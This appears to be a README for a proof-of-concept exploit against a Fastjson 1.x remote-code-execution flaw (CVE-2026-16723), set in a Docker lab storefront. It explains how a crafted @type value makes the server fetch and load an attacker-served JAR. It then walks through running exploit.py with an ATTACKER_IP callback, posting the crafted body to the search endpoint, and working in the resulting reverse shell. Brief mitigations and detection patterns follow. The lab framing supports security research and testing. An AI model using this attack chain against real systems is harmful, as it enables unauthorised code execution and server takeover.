
PoC exploit for Fastjson RCE (CVE-2026-16723) featuring automated JAR payload generation and delivery via crafted JSON, bypassing AutoType restrictions.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 is a Remote Code Execution (RCE) vulnerability in Fastjson 1.x (1.2.68 – 1.2.83). When Fastjson parses attacker-controlled JSON, a crafted
@typevalue is turned into a class-resource lookup insidecheckAutoType. In a Spring Boot executable fat-JAR the class loader resolves that name as ajar:http://URL and fetches a remote JAR (SSRF), then loads a class carrying the@JSONTypeannotation even though AutoType is disabled. Because a modern JDK / Tomcat rejects thejar:http://binary name, the reliable variant seeds the JAR into the JVM cache and re-reads it throughjar:file:/proc/self/fd/N, so the class is defined and its static initializer runs, giving code execution. AutoType stays disabled and no classpath gadget is required.
| Category | Version |
|---|---|
| Vulnerable | Fastjson 1.2.68 ≤ version ≤ 1.2.83 |
| Patched | Migrate to Fastjson 2.x (no fixed 1.x release) |
The lab target is a public storefront (Northwind Store) whose search API binds
its request body with Fastjson. Everything is Fastjson's stock default:
SafeMode off, AutoType off, packaged as a Spring Boot fat-JAR.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Precondition | State in this lab |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot executable fat-JAR | yes |
| Unauthenticated JSON parse path | POST /api/products/search |
| SafeMode / AutoType | default (both off) |
The attacker and the target run on the same Docker bridge network, so the target reaches the attacker as an outbound connection (no extra port is published).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py builds the payload JAR, serves it, starts a listener, and prints
the request body. Only the callback address is required.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Paste the printed body into the search endpoint (Burp Repeater or curl) and
send it. The search request is a normal feature; only its JSON body is crafted.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
Code runs as the service account. Retrieve the flag through the obtained shell:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type values containing jar:http or jar:file / /proc/self/fd patterns